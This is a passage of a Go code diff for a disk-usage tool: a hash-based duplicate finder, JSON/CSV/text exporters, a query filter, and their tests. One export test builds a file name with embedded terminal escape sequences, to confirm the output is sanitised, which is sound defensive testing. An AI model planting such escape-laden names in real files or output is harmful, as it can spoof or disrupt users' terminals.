if n.Kind == inventory.KindFile && n.Flags&inventory.FlagHardlinkDup == 0 && n.Size >= o.MinSize {
|
||||
bySize[n.Size] = append(bySize[n.Size], cand{id: id, size: n.Size})
|
||||
}
|
||||
return true
|
||||
})
|
||||
var groups [][]cand
|
||||
var ncand int64
|
||||
for _, g := range bySize {
|
||||
if len(g) > 1 {
|
||||
for i := range g {
|
||||
g[i].path = t.Path(g[i].id)
|
||||
}
|
||||
groups = append(groups, g)
|
||||
ncand += int64(len(g))
|
||||
}
|
||||
}
|
||||
t.RUnlock()
|
||||
f.stage("sampling", func(p *Progress) { p.Candidates = ncand; p.CandidateGroups = int64(len(groups)) })
|
||||
|
||||
// Stage 2: sample hashes.
|
||||
var sampled [][]cand
|
||||
for _, g := range groups {
|
||||
if ctx.Err() != nil {
|
||||
return nil, ctx.Err()
|
||||
}
|
||||
if g[0].size <= 3*sampleSize {
|
||||
sampled = append(sampled, g) // a sample would be the whole file
|
||||
continue
|
||||
}
|
||||
sampled = append(sampled, f.split(ctx, g, o.Workers, sampleHash)...)
|
||||
}
|
||||
|
||||
// Stage 3: full hashes.
|
||||
var total int64
|
||||
for _, g := range sampled {
|
||||
total += g[0].size * int64(len(g))
|
||||
}
|
||||
f.toHash.Store(total)
|
||||
f.stage("hashing", nil)
|
||||
var out []Group
|
||||
for _, g := range sampled {
|
||||
if ctx.Err() != nil {
|
||||
return nil, ctx.Err()
|
||||
}
|
||||
for _, sub := range f.splitHash(ctx, g, o.Workers) {
|
||||
grp := Group{Size: sub.size, Hash: sub.hash}
|
||||
for _, c := range sub.files {
|
||||
grp.Files = append(grp.Files, c.id)
|
||||
}
|
||||
out = append(out, grp)
|
||||
}
|
||||
}
|
||||
sort.Slice(out, func(i, j int) bool {
|
||||
if a, b := out[i].Wasted(), out[j].Wasted(); a != b {
|
||||
return a > b
|
||||
}
|
||||
return out[i].Files[0] < out[j].Files[0]
|
||||
})
|
||||
f.stage("done", func(p *Progress) { p.VerifiedGroups = int64(len(out)) })
|
||||
return out, ctx.Err()
|
||||
}
|
||||
|
||||
type hashed struct {
|
||||
c cand
|
||||
sum [32]byte
|
||||
ok bool
|
||||
}
|
||||
|
||||
// hashAll hashes every candidate with a bounded worker pool.
|
||||
func (f *Finder) hashAll(ctx context.Context, g []cand, workers int, fn func(*Finder, cand) ([32]byte, bool)) []hashed {
|
||||
res := make([]hashed, len(g))
|
||||
var wg sync.WaitGroup
|
||||
sem := make(chan struct{}, workers)
|
||||
for i, c := range g {
|
||||
if ctx.Err() != nil {
|
||||
break
|
||||
}
|
||||
sem <- struct{}{}
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer func() { <-sem }()
|
||||
sum, ok := fn(f, c)
|
||||
if !ok {
|
||||
f.skipped.Add(1)
|
||||
}
|
||||
res[i] = hashed{c, sum, ok}
|
||||
}()
|
||||
}
|
||||
wg.Wait()
|
||||
return res
|
||||
}
|
||||
|
||||
func (f *Finder) split(ctx context.Context, g []cand, workers int, fn func(*Finder, cand) ([32]byte, bool)) [][]cand {
|
||||
by := map[[32]byte][]cand{}
|
||||
for _, h := range f.hashAll(ctx, g, workers, fn) {
|
||||
if h.ok {
|
||||
by[h.sum] = append(by[h.sum], h.c)
|
||||
}
|
||||
}
|
||||
var out [][]cand
|
||||
for _, v := range by {
|
||||
if len(v) > 1 {
|
||||
out = append(out, v)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
type fullGroup struct {
|
||||
size int64
|
||||
hash [32]byte
|
||||
files []cand
|
||||
}
|
||||
|
||||
func (f *Finder) splitHash(ctx context.Context, g []cand, workers int) []fullGroup {
|
||||
by := map[[32]byte][]cand{}
|
||||
for _, h := range f.hashAll(ctx, g, workers, fullHash) {
|
||||
if h.ok {
|
||||
by[h.sum] = append(by[h.sum], h.c)
|
||||
}
|
||||
}
|
||||
var out []fullGroup
|
||||
for sum, v := range by {
|
||||
if len(v) > 1 {
|
||||
sort.Slice(v, func(i, j int) bool { return v[i].id < v[j].id })
|
||||
out = append(out, fullGroup{size: v[0].size, hash: sum, files: v})
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// open opens a candidate and checks it still has the inventoried size.
|
||||
func open(c cand) (*os.File, bool) {
|
||||
fh, err := os.Open(c.path)
|
||||
if err != nil {
|
||||
return nil, false
|
||||
}
|
||||
fi, err := fh.Stat()
|
||||
if err != nil || !fi.Mode().IsRegular() || fi.Size() != c.size {
|
||||
fh.Close()
|
||||
return nil, false
|
||||
}
|
||||
return fh, true
|
||||
}
|
||||
|
||||
func sampleHash(_ *Finder, c cand) ([32]byte, bool) {
|
||||
fh, ok := open(c)
|
||||
if !ok {
|
||||
return [32]byte{}, false
|
||||
}
|
||||
defer fh.Close()
|
||||
h := sha256.New()
|
||||
buf := make([]byte, sampleSize)
|
||||
for _, off := range []int64{0, c.size/2 - sampleSize/2, c.size - sampleSize} {
|
||||
if _, err := fh.ReadAt(buf, off); err != nil && err != io.EOF {
|
||||
return [32]byte{}, false
|
||||
}
|
||||
h.Write(buf)
|
||||
}
|
||||
var s [32]byte
|
||||
h.Sum(s[:0])
|
||||
return s, true
|
||||
}
|
||||
|
||||
func fullHash(f *Finder, c cand) ([32]byte, bool) {
|
||||
fh, ok := open(c)
|
||||
if !ok {
|
||||
return [32]byte{}, false
|
||||
}
|
||||
defer fh.Close()
|
||||
h := sha256.New()
|
||||
n, err := io.Copy(h, &countingReader{fh, &f.hashed})
|
||||
if err != nil || n != c.size {
|
||||
return [32]byte{}, false
|
||||
}
|
||||
var s [32]byte
|
||||
h.Sum(s[:0])
|
||||
return s, true
|
||||
}
|
||||
|
||||
type countingReader struct {
|
||||
r io.Reader
|
||||
n *atomic.Int64
|
||||
}
|
||||
|
||||
func (c *countingReader) Read(p []byte) (int, error) {
|
||||
n, err := c.r.Read(p)
|
||||
c.n.Add(int64(n))
|
||||
return n, err
|
||||
}
|
||||
@@ -0,0 +1,61 @@
|
||||
package duplicate
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
"github.com/andydixon/mapsize/internal/scan"
|
||||
)
|
||||
|
||||
func TestFind(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
big := make([]byte, 200_000)
|
||||
for i := range big {
|
||||
big[i] = byte(i * 7)
|
||||
}
|
||||
w := func(name string, b []byte) {
|
||||
if err := os.WriteFile(filepath.Join(root, name), b, 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
w("a.bin", big)
|
||||
w("b.bin", big)
|
||||
// Same size, same samples, different middle-of-nowhere byte: must not match.
|
||||
c := append([]byte(nil), big...)
|
||||
c[20_000] ^= 1
|
||||
w("c.bin", c)
|
||||
w("small1", []byte("hello"))
|
||||
w("small2", []byte("hello"))
|
||||
w("small3", []byte("world")) // same size, different content
|
||||
|
||||
s, err := scan.Start(context.Background(), root, scan.Options{Workers: 2})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
<-s.Done()
|
||||
var f Finder
|
||||
groups, err := f.Find(context.Background(), s.Tree, Options{})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(groups) != 2 {
|
||||
t.Fatalf("groups=%d want 2", len(groups))
|
||||
}
|
||||
names := func(g Group) (out []string) {
|
||||
for _, id := range g.Files {
|
||||
out = append(out, s.Tree.Node(id).Name)
|
||||
}
|
||||
return
|
||||
}
|
||||
if g := names(groups[0]); len(g) != 2 || groups[0].Size != 200_000 {
|
||||
t.Fatalf("big group %v", g)
|
||||
}
|
||||
if g := names(groups[1]); len(g) != 2 {
|
||||
t.Fatalf("small group %v", g)
|
||||
}
|
||||
if p := f.Progress(); p.Candidates != 6 || p.VerifiedGroups != 2 {
|
||||
t.Fatalf("progress %+v", p)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,221 @@
|
||||
// Package export writes inventories as JSON, CSV or plain-text reports.
|
||||
// Callers must hold the tree's read lock (or own the tree exclusively).
|
||||
package export
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"encoding/csv"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/andydixon/mapsize/internal/brand"
|
||||
"github.com/andydixon/mapsize/internal/inventory"
|
||||
"github.com/andydixon/mapsize/internal/textutil"
|
||||
)
|
||||
|
||||
type jsonNode struct {
|
||||
Name string `json:"name"`
|
||||
Type string `json:"type"`
|
||||
Size int64 `json:"size"`
|
||||
Allocated int64 `json:"allocated"`
|
||||
Files uint32 `json:"files,omitempty"`
|
||||
Dirs uint32 `json:"dirs,omitempty"`
|
||||
Errors uint32 `json:"errors,omitempty"`
|
||||
Modified string `json:"modified,omitempty"`
|
||||
Flags []string `json:"flags,omitempty"`
|
||||
Children []*jsonNode `json:"children,omitempty"`
|
||||
}
|
||||
|
||||
var flagNames = []struct {
|
||||
f inventory.Flags
|
||||
n string
|
||||
}{
|
||||
{inventory.FlagHardlinkDup, "hardlink-duplicate"}, {inventory.FlagMountPoint, "mount-point"},
|
||||
{inventory.FlagVirtualFS, "virtual-fs-skipped"}, {inventory.FlagSkippedFS, "other-fs-skipped"},
|
||||
{inventory.FlagSparse, "sparse"}, {inventory.FlagError, "error"}, {inventory.FlagIncomplete, "incomplete"},
|
||||
{inventory.FlagLoop, "loop-skipped"}, {inventory.FlagFollowed, "followed-symlink"},
|
||||
{inventory.FlagAllocUnknown, "allocated-unknown"}, {inventory.FlagBrokenLink, "broken-symlink"},
|
||||
{inventory.FlagHardlinked, "hardlinked"},
|
||||
}
|
||||
|
||||
// FlagList returns human-readable names for a node's flags.
|
||||
func FlagList(f inventory.Flags) []string {
|
||||
var out []string
|
||||
for _, fn := range flagNames {
|
||||
if f&fn.f != 0 {
|
||||
out = append(out, fn.n)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// JSON writes the tree beneath root as nested JSON, down to maxDepth levels
|
||||
// (maxDepth < 0 means unlimited).
|
||||
func JSON(w io.Writer, t *inventory.Tree, root inventory.NodeID, maxDepth int) error {
|
||||
bw := bufio.NewWriter(w)
|
||||
st := &t.Stats
|
||||
head := map[string]any{
|
||||
"generator": brand.Name + " " + brand.Version,
|
||||
"root": t.Path(root),
|
||||
"complete": !st.Incomplete(),
|
||||
"cancelled": st.Cancelled,
|
||||
"started": st.Start.Format(time.RFC3339),
|
||||
"elapsed_s": st.Elapsed().Seconds(),
|
||||
"errors": errorCounts(st),
|
||||
"excluded": st.Excluded,
|
||||
"excludes": st.Excludes,
|
||||
"hardlink_duplicates": st.HardlinkDups,
|
||||
}
|
||||
hb, err := json.Marshal(head)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
bw.Write(hb[:len(hb)-1])
|
||||
bw.WriteString(`,"tree":`)
|
||||
if err := writeNode(bw, t, root, maxDepth); err != nil {
|
||||
return err
|
||||
}
|
||||
bw.WriteString("}\n")
|
||||
return bw.Flush()
|
||||
}
|
||||
|
||||
func errorCounts(st *inventory.Stats) map[string]int64 {
|
||||
m := map[string]int64{}
|
||||
for k, c := range st.ErrCounts {
|
||||
if c > 0 {
|
||||
m[inventory.ErrKind(k).String()] = c
|
||||
}
|
||||
}
|
||||
return m
|
||||
}
|
||||
|
||||
// writeNode streams one node; children are written recursively so memory
|
||||
// stays proportional to depth, not tree size.
|
||||
func writeNode(bw *bufio.Writer, t *inventory.Tree, id inventory.NodeID, depth int) error {
|
||||
n := t.Node(id)
|
||||
jn := jsonNode{Name: n.Name, Type: kindName(n.Kind), Size: n.TotSize, Allocated: n.TotAlloc,
|
||||
Files: n.Files, Dirs: n.Dirs, Errors: n.Errors, Flags: FlagList(n.Flags)}
|
||||
if n.MTime != 0 {
|
||||
jn.Modified = time.Unix(0, n.MTime).UTC().Format(time.RFC3339)
|
||||
}
|
||||
b, err := json.Marshal(jn)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if n.FirstChild == inventory.NoNode || depth == 0 {
|
||||
_, err = bw.Write(b)
|
||||
return err
|
||||
}
|
||||
bw.Write(b[:len(b)-1])
|
||||
bw.WriteString(`,"children":[`)
|
||||
first := true
|
||||
for _, c := range t.SortedChildren(id, inventory.SizeAllocated) {
|
||||
if !first {
|
||||
bw.WriteByte(',')
|
||||
}
|
||||
first = false
|
||||
if err := writeNode(bw, t, c, depth-1); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
_, err = bw.WriteString("]}")
|
||||
return err
|
||||
}
|
||||
|
||||
func kindName(k inventory.Kind) string {
|
||||
return [...]string{"file", "dir", "symlink", "other"}[k&3]
|
||||
}
|
||||
|
||||
// CSV writes one row per node beneath root (depth-limited). Paths are
|
||||
// sanitised so the output is safe to print to a terminal.
|
||||
func CSV(w io.Writer, t *inventory.Tree, root inventory.NodeID, maxDepth int) error {
|
||||
cw := csv.NewWriter(w)
|
||||
cw.Write([]string{"path", "type", "size", "allocated", "files", "dirs", "errors", "modified", "flags"})
|
||||
var rec func(id inventory.NodeID, path string, depth int) error
|
||||
rec = func(id inventory.NodeID, path string, depth int) error {
|
||||
n := t.Node(id)
|
||||
mod := ""
|
||||
if n.MTime != 0 {
|
||||
mod = time.Unix(0, n.MTime).UTC().Format(time.RFC3339)
|
||||
}
|
||||
flags := ""
|
||||
for i, f := range FlagList(n.Flags) {
|
||||
if i > 0 {
|
||||
flags += "|"
|
||||
}
|
||||
flags += f
|
||||
}
|
||||
if err := cw.Write([]string{textutil.Sanitize(path), kindName(n.Kind),
|
||||
strconv.FormatInt(n.TotSize, 10), strconv.FormatInt(n.TotAlloc, 10),
|
||||
strconv.FormatUint(uint64(n.Files), 10), strconv.FormatUint(uint64(n.Dirs), 10),
|
||||
strconv.FormatUint(uint64(n.Errors), 10), mod, flags}); err != nil {
|
||||
return err
|
||||
}
|
||||
if depth == 0 {
|
||||
return nil
|
||||
}
|
||||
for _, c := range t.SortedChildren(id, inventory.SizeAllocated) {
|
||||
if err := rec(c, filepath.Join(path, t.Node(c).Name), depth-1); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
if err := rec(root, t.Path(root), maxDepth); err != nil {
|
||||
return err
|
||||
}
|
||||
cw.Flush()
|
||||
return cw.Error()
|
||||
}
|
||||
|
||||
// Table writes "size % files path" rows for the given nodes.
|
||||
func Table(w io.Writer, t *inventory.Tree, ids []inventory.NodeID, m inventory.SizeMode) {
|
||||
total := t.Node(t.Root()).Total(m)
|
||||
fmt.Fprintf(w, "%12s %6s %12s %s\n", "SIZE", "%", "FILES", "PATH")
|
||||
for _, id := range ids {
|
||||
n := t.Node(id)
|
||||
files := ""
|
||||
if n.IsDir() {
|
||||
files = textutil.Count(int64(n.Files))
|
||||
}
|
||||
fmt.Fprintf(w, "%12s %6s %12s %s\n", textutil.Size(n.Total(m)), textutil.Percent(n.Total(m), total),
|
||||
files, textutil.Sanitize(t.Path(id)))
|
||||
}
|
||||
}
|
||||
|
||||
// Summary writes the scan summary, making incompleteness explicit.
|
||||
func Summary(w io.Writer, t *inventory.Tree) {
|
||||
st := &t.Stats
|
||||
r := t.Node(t.Root())
|
||||
fmt.Fprintf(w, "Root %s\n", textutil.Sanitize(st.Root))
|
||||
fmt.Fprintf(w, "Files %s\n", textutil.Count(st.Files+st.Symlinks+st.Others))
|
||||
fmt.Fprintf(w, "Directories %s\n", textutil.Count(st.Dirs))
|
||||
fmt.Fprintf(w, "Logical size %s (%d bytes)\n", textutil.Size(r.TotSize), r.TotSize)
|
||||
fmt.Fprintf(w, "Allocated size %s (%d bytes)\n", textutil.Size(r.TotAlloc), r.TotAlloc)
|
||||
fmt.Fprintf(w, "Elapsed %s\n", st.Elapsed().Round(time.Millisecond))
|
||||
for k, c := range st.ErrCounts {
|
||||
if c > 0 {
|
||||
fmt.Fprintf(w, "%-15s %s\n", inventory.ErrKind(k).String(), textutil.Count(c))
|
||||
}
|
||||
}
|
||||
if st.Excluded > 0 {
|
||||
fmt.Fprintf(w, "Excluded %s entries (%s)\n", textutil.Count(st.Excluded), textutil.Sanitize(strings.Join(st.Excludes, ", ")))
|
||||
}
|
||||
if st.SkippedMounts > 0 {
|
||||
fmt.Fprintf(w, "Other FS skipped %s\n", textutil.Count(st.SkippedMounts))
|
||||
}
|
||||
if st.VirtualSkipped > 0 {
|
||||
fmt.Fprintf(w, "Virtual FS skipped %s\n", textutil.Count(st.VirtualSkipped))
|
||||
}
|
||||
if st.HardlinkDups > 0 {
|
||||
fmt.Fprintf(w, "Hard-link dups %s (counted once)\n", textutil.Count(st.HardlinkDups))
|
||||
}
|
||||
if st.Incomplete() {
|
||||
fmt.Fprintln(w, "WARNING: totals are incomplete — some data could not be inspected.")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,74 @@
|
||||
package export
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/andydixon/mapsize/internal/inventory"
|
||||
)
|
||||
|
||||
const hostile = "evil\x1b]0;pwned\x07\x1b[2J"
|
||||
|
||||
func tree() *inventory.Tree {
|
||||
t := inventory.New("/r", inventory.KindDir)
|
||||
d := t.Add(0, "d", inventory.KindDir)
|
||||
f := t.Add(d, hostile, inventory.KindFile)
|
||||
t.Node(f).Size, t.Node(f).Alloc = 10, 4096
|
||||
t.Recompute()
|
||||
t.Stats.Complete = true
|
||||
return t
|
||||
}
|
||||
|
||||
func noControl(t *testing.T, s string) {
|
||||
t.Helper()
|
||||
if strings.ContainsAny(s, "\x1b\x07") {
|
||||
t.Fatalf("raw control characters in output: %q", s)
|
||||
}
|
||||
}
|
||||
|
||||
func TestOutputsAreTerminalSafe(t *testing.T) {
|
||||
tr := tree()
|
||||
var b bytes.Buffer
|
||||
if err := CSV(&b, tr, 0, -1); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
noControl(t, b.String())
|
||||
if !strings.Contains(b.String(), `evil\x1b]0;pwned\x07`) {
|
||||
t.Fatalf("CSV should show the escaped name: %s", b.String())
|
||||
}
|
||||
|
||||
b.Reset()
|
||||
Table(&b, tr, []inventory.NodeID{2}, inventory.SizeAllocated)
|
||||
Summary(&b, tr)
|
||||
noControl(t, b.String())
|
||||
|
||||
b.Reset()
|
||||
if err := JSON(&b, tr, 0, -1); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
noControl(t, b.String())
|
||||
var v struct {
|
||||
Tree struct {
|
||||
Children []struct {
|
||||
Children []struct{ Name string }
|
||||
}
|
||||
}
|
||||
}
|
||||
if err := json.Unmarshal(b.Bytes(), &v); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
// JSON keeps the exact name (escaped by the encoder, decoded back).
|
||||
if got := v.Tree.Children[0].Children[0].Name; got != hostile {
|
||||
t.Fatalf("JSON name %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestJSONDepthLimit(t *testing.T) {
|
||||
var b bytes.Buffer
|
||||
JSON(&b, tree(), 0, 1)
|
||||
if strings.Contains(b.String(), "evil") {
|
||||
t.Fatal("depth 1 should not include grandchildren")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,78 @@
|
||||
package filter
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"github.com/andydixon/mapsize/internal/inventory"
|
||||
)
|
||||
|
||||
// Result holds per-node filtered sizes: the bytes of matching content beneath
|
||||
// each node. A matching directory contributes its whole subtree (once, even
|
||||
// if descendants match too). Matched marks every node satisfying the query. Nodes added
|
||||
// after the result was computed (live scan) have no entry and are treated as
|
||||
// not matching until the filter is re-applied.
|
||||
type Result struct {
|
||||
Query *Query
|
||||
Mode inventory.SizeMode
|
||||
Sizes []int64 // per NodeID; len = tree size at evaluation time
|
||||
Matched []bool // node itself matched
|
||||
Count int64 // number of matching nodes
|
||||
Total int64
|
||||
Elapsed time.Duration
|
||||
}
|
||||
|
||||
// Size returns the filtered size of id (0 if out of range).
|
||||
func (r *Result) Size(id inventory.NodeID) int64 {
|
||||
if int(id) < len(r.Sizes) {
|
||||
return r.Sizes[id]
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
// IsMatch reports whether id itself matched.
|
||||
func (r *Result) IsMatch(id inventory.NodeID) bool {
|
||||
return int(id) < len(r.Matched) && r.Matched[id]
|
||||
}
|
||||
|
||||
// Apply evaluates q over the whole tree. The tree must be read-locked by the
|
||||
// caller. It relies on parents having smaller IDs than their children.
|
||||
func Apply(ctx context.Context, t *inventory.Tree, q *Query, m inventory.SizeMode) (*Result, error) {
|
||||
start := time.Now()
|
||||
n := t.Len()
|
||||
r := &Result{Query: q, Mode: m, Sizes: make([]int64, n), Matched: make([]bool, n)}
|
||||
covered := make([]bool, n)
|
||||
c := &Ctx{Tree: t, Now: time.Now().UnixNano()}
|
||||
if q.UsesPath {
|
||||
c.dirPaths = map[inventory.NodeID]string{}
|
||||
}
|
||||
for i := range n {
|
||||
if i&0xffff == 0 && ctx.Err() != nil {
|
||||
return nil, ctx.Err()
|
||||
}
|
||||
id := inventory.NodeID(i)
|
||||
nd := t.Node(id)
|
||||
c.ID, c.Node, c.path = id, nd, ""
|
||||
if c.dirPaths != nil && nd.IsDir() {
|
||||
c.path = c.lowerPath()
|
||||
c.dirPaths[id] = c.path
|
||||
}
|
||||
if i > 0 && q.Match(c) {
|
||||
r.Matched[i] = true
|
||||
covered[i] = true
|
||||
r.Count++
|
||||
}
|
||||
if i > 0 && covered[nd.Parent] {
|
||||
covered[i] = true
|
||||
}
|
||||
if covered[i] && nd.Flags&inventory.FlagHardlinkDup == 0 {
|
||||
r.Sizes[i] = nd.Own(m)
|
||||
}
|
||||
}
|
||||
for i := n - 1; i > 0; i-- {
|
||||
r.Sizes[t.Node(inventory.NodeID(i)).Parent] += r.Sizes[i]
|
||||
}
|
||||
r.Total = r.Sizes[0]
|
||||
r.Elapsed = time.Since(start)
|
||||
return r, nil
|
||||
}
|
||||
@@ -0,0 +1,176 @@
|
||||
package filter
|
||||
|
||||
import (
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"github.com/andydixon/mapsize/internal/inventory"
|
||||
"github.com/andydixon/mapsize/internal/platform"
|
||||
)
|
||||
|
||||
// Ctx is the evaluation context for one node. The tree must be read-locked.
|
||||
type Ctx struct {
|
||||
Tree *inventory.Tree
|
||||
ID inventory.NodeID
|
||||
Node *inventory.Node
|
||||
Now int64 // unix nanoseconds
|
||||
path string
|
||||
// dirPaths caches lower-cased directory paths during Apply, which visits
|
||||
// parents before children, so a node's path is one concatenation.
|
||||
dirPaths map[inventory.NodeID]string
|
||||
}
|
||||
|
||||
func (c *Ctx) str(f Field) string {
|
||||
n := c.Node
|
||||
switch f {
|
||||
case FName:
|
||||
return strings.ToLower(n.Name)
|
||||
case FPath:
|
||||
if c.path == "" {
|
||||
c.path = c.lowerPath()
|
||||
}
|
||||
return c.path
|
||||
case FExt:
|
||||
return c.Tree.ExtName(n)
|
||||
case FType:
|
||||
return strings.ToLower(n.Kind.String())
|
||||
case FCategory:
|
||||
if n.IsDir() {
|
||||
return "directory"
|
||||
}
|
||||
return strings.ToLower(n.Cat.String())
|
||||
case FOwner:
|
||||
return strings.ToLower(platform.UserName(n.UID))
|
||||
case FGroup:
|
||||
return strings.ToLower(platform.GroupName(n.GID))
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (c *Ctx) num(f Field) int64 {
|
||||
n := c.Node
|
||||
switch f {
|
||||
case FSize:
|
||||
return n.TotSize
|
||||
case FAllocated:
|
||||
return n.TotAlloc
|
||||
case FAge:
|
||||
return c.Now - n.MTime
|
||||
case FModified:
|
||||
return n.MTime
|
||||
case FFiles:
|
||||
return int64(n.Files)
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
func (c *Ctx) lowerPath() string {
|
||||
if c.dirPaths != nil {
|
||||
if p, ok := c.dirPaths[c.ID]; ok {
|
||||
return p
|
||||
}
|
||||
if pp, ok := c.dirPaths[c.Node.Parent]; ok {
|
||||
sep := string(filepath.Separator)
|
||||
if strings.HasSuffix(pp, sep) {
|
||||
sep = ""
|
||||
}
|
||||
return pp + sep + strings.ToLower(c.Node.Name)
|
||||
}
|
||||
}
|
||||
return strings.ToLower(c.Tree.Path(c.ID))
|
||||
}
|
||||
|
||||
type node interface{ eval(*Ctx) bool }
|
||||
|
||||
type andNode struct{ l, r node }
|
||||
type orNode struct{ l, r node }
|
||||
type notNode struct{ n node }
|
||||
|
||||
func (n andNode) eval(c *Ctx) bool { return n.l.eval(c) && n.r.eval(c) }
|
||||
func (n orNode) eval(c *Ctx) bool { return n.l.eval(c) || n.r.eval(c) }
|
||||
func (n notNode) eval(c *Ctx) bool { return !n.n.eval(c) }
|
||||
|
||||
type containsNode struct {
|
||||
field Field
|
||||
sub string
|
||||
}
|
||||
|
||||
func (n containsNode) eval(c *Ctx) bool { return strings.Contains(c.str(n.field), n.sub) }
|
||||
|
||||
type globNode struct {
|
||||
field Field
|
||||
pat string
|
||||
}
|
||||
|
||||
func (n globNode) eval(c *Ctx) bool {
|
||||
ok, _ := filepath.Match(n.pat, c.str(n.field))
|
||||
return ok
|
||||
}
|
||||
|
||||
type reNode struct {
|
||||
field Field
|
||||
re *regexp.Regexp
|
||||
}
|
||||
|
||||
func (n reNode) eval(c *Ctx) bool { return n.re.MatchString(c.str(n.field)) }
|
||||
|
||||
type eqNode struct {
|
||||
field Field
|
||||
set []string
|
||||
}
|
||||
|
||||
func (n eqNode) eval(c *Ctx) bool {
|
||||
if n.field == FFlag {
|
||||
for _, s := range n.set {
|
||||
if c.Node.Flags&flagNames[s] != 0 {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
v := c.str(n.field)
|
||||
for _, s := range n.set {
|
||||
if v == s {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
type numNode struct {
|
||||
field Field
|
||||
op string
|
||||
vals []int64
|
||||
}
|
||||
|
||||
func (n numNode) eval(c *Ctx) bool {
|
||||
if (n.field == FAge || n.field == FModified) && c.Node.MTime == 0 {
|
||||
return false // unknown time never matches
|
||||
}
|
||||
v := c.num(n.field)
|
||||
for _, x := range n.vals {
|
||||
var ok bool
|
||||
switch n.op {
|
||||
case "=":
|
||||
ok = v == x
|
||||
case "!=":
|
||||
ok = v != x
|
||||
case ">":
|
||||
ok = v > x
|
||||
case ">=":
|
||||
ok = v >= x
|
||||
case "<":
|
||||
ok = v < x
|
||||
case "<=":
|
||||
ok = v <= x
|
||||
}
|
||||
if ok {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// Match evaluates the query against one node.
|
||||
func (q *Query) Match(c *Ctx) bool { return q.root.eval(c) }
|
||||
@@ -0,0 +1,122 @@
|
||||
package filter
|
||||
|
||||
import (
|
||||
"context"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/andydixon/mapsize/internal/inventory"
|
||||
)
|
||||
|
||||
func tree() *inventory.Tree {
|
||||
t := inventory.New("/srv", inventory.KindDir)
|
||||
vms := t.Add(0, "vms", inventory.KindDir)
|
||||
cache := t.Add(0, "cache", inventory.KindDir)
|
||||
add := func(p inventory.NodeID, name string, size int64, age time.Duration) inventory.NodeID {
|
||||
id := t.Add(p, name, inventory.KindFile)
|
||||
n := t.Node(id)
|
||||
n.Size, n.Alloc = size, size
|
||||
n.MTime = time.Now().Add(-age).UnixNano()
|
||||
n.Cat = inventory.CategoryFor(inventory.Ext(name), false, false)
|
||||
return id
|
||||
}
|
||||
add(vms, "ubuntu.qcow2", 80<<30, 400*24*time.Hour)
|
||||
add(vms, "win.vmdk", 40<<30, time.Hour)
|
||||
add(vms, "notes.txt", 1000, time.Hour)
|
||||
add(cache, "blob.iso", 700<<20, 10*24*time.Hour)
|
||||
add(cache, "x.tmp", 10, time.Hour)
|
||||
t.Recompute()
|
||||
return t
|
||||
}
|
||||
|
||||
func names(t *testing.T, tr *inventory.Tree, q string) map[string]bool {
|
||||
t.Helper()
|
||||
pq, err := Parse(q, time.Now())
|
||||
if err != nil {
|
||||
t.Fatalf("Parse(%q): %v", q, err)
|
||||
}
|
||||
r, err := Apply(context.Background(), tr, pq, inventory.SizeLogical)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
out := map[string]bool{}
|
||||
for i := range tr.Len() {
|
||||
if r.IsMatch(inventory.NodeID(i)) {
|
||||
out[tr.Node(inventory.NodeID(i)).Name] = true
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func TestQueries(t *testing.T) {
|
||||
tr := tree()
|
||||
cases := map[string][]string{
|
||||
"ubuntu": {"ubuntu.qcow2"},
|
||||
"*.iso": {"blob.iso"},
|
||||
"size > 1GB": {"vms", "ubuntu.qcow2", "win.vmdk"},
|
||||
"size > 1GB AND type = file": {"ubuntu.qcow2", "win.vmdk"},
|
||||
"ext = qcow2": {"ubuntu.qcow2"},
|
||||
"size > 500MB AND ext IN (iso,qcow2,vmdk)": {"ubuntu.qcow2", "win.vmdk", "blob.iso"},
|
||||
"path contains cache": {"cache", "blob.iso", "x.tmp"},
|
||||
"age > 365d": {"ubuntu.qcow2"},
|
||||
"NOT type = dir AND size < 1k": {"notes.txt", "x.tmp"},
|
||||
"(ext = iso OR ext = tmp) type=file": {"blob.iso", "x.tmp"},
|
||||
"category = vm": {"ubuntu.qcow2", "win.vmdk", "blob.iso"},
|
||||
